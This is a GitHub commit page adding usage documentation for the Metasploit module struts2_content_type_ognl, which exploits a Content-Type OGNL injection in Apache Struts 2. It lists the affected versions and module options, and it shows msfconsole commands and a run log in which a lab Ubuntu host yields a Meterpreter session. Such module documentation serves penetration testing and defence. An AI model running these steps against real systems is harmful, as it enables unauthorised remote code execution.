Skip to content

Commit 295ac63

Browse files
committed
Add doc for struts2_content_type_ognl
1 parent 9201f50 commit 295ac63

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart
2+
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
3+
```Content-Type``` value.
4+
5+
## Vulnerable Application
6+
7+
Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10 are vulnerable.
8+
9+
You can download these versions here with any version of Apache Tomcat:
10+
11+
http://archive.apache.org/dist/struts/
12+
13+
You will also need to install a Struts 2 showcase application, which can be found here:
14+
15+
https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase
16+
17+
## Options
18+
19+
**TARGETURI**
20+
21+
The path to a struts application action
22+
23+
**VHOST**
24+
25+
The HTTP server virtual host. You will probably need to configure this as well, even though it is
26+
set as optional.
27+
28+
## Demonstration
29+
30+
**The Check Command**
31+
32+
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check
33+
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
34+
following:
35+
36+
```
37+
set VERBOSE true
38+
set RHOST [IP]
39+
set TARGETURI [path to the Struts app with an action]
40+
```
41+
42+
When the module is in verbose mode, the ```check``` command will try to tell you the OS information,
43+
and whether or not the machine is vulnerable. Like this:
44+
45+
```
46+
msf exploit(struts2_content_type_ognl) > check
47+
48+
[+] Victim operating system: Linux
49+
[+] 10.1.11.11:8080 The target is vulnerable.
50+
```
51+
52+
**Exploiting the Host**
53+
54+
After identifying the vulnerability on the target machine, you can try to exploit it.
55+
56+
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
57+
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a
58+
vulnerable Ubuntu host:
59+
60+
```
61+
msf exploit(struts2_content_type_ognl) > show options
62+
63+
Module options (exploit/multi/http/struts2_content_type_ognl):
64+
65+
Name Current Setting Required Description
66+
---- --------------- -------- -----------
67+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
68+
RHOST 10.1.11.11 yes The target address
69+
RPORT 8080 yes The target port (TCP)
70+
SSL false no Negotiate SSL/TLS for outgoing connections
71+
TARGETURI /struts2-showcase/ yes The path to a struts application action
72+
VHOST no HTTP server virtual host
73+
74+
75+
Payload options (linux/x86/meterpreter/bind_tcp):
76+
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
DebugOptions 0 no Debugging options for POSIX meterpreter
80+
LPORT 4444 yes The listen port
81+
RHOST 10.1.11.11 no The target address
82+
83+
84+
Exploit target:
85+
86+
Id Name
87+
-- ----
88+
0 Universal
89+
90+
91+
msf exploit(struts2_content_type_ognl) > run
92+
93+
[*] Started bind handler
94+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
95+
{"Server"=>"Apache-Coyote/1.1",
96+
"Set-Cookie"=>"JSESSIONID=548FF051466E6C1F3AAE814E385057DE; Path=/; HttpOnly",
97+
"Content-Type"=>"text/html;charset=UTF-8",
98+
"Content-Length"=>"6335",
99+
"Date"=>"Tue, 14 Mar 2017 21:04:06 GMT"}
100+
[*] Sending stage (1495599 bytes) to 10.1.11.11
101+
[*] Meterpreter session 5 opened (192.168.1.11:50671 -> 10.1.11.11:4444) at 2017-03-14 16:04:36 -0500
102+
103+
meterpreter >
104+
```

0 commit comments

Comments
 (0)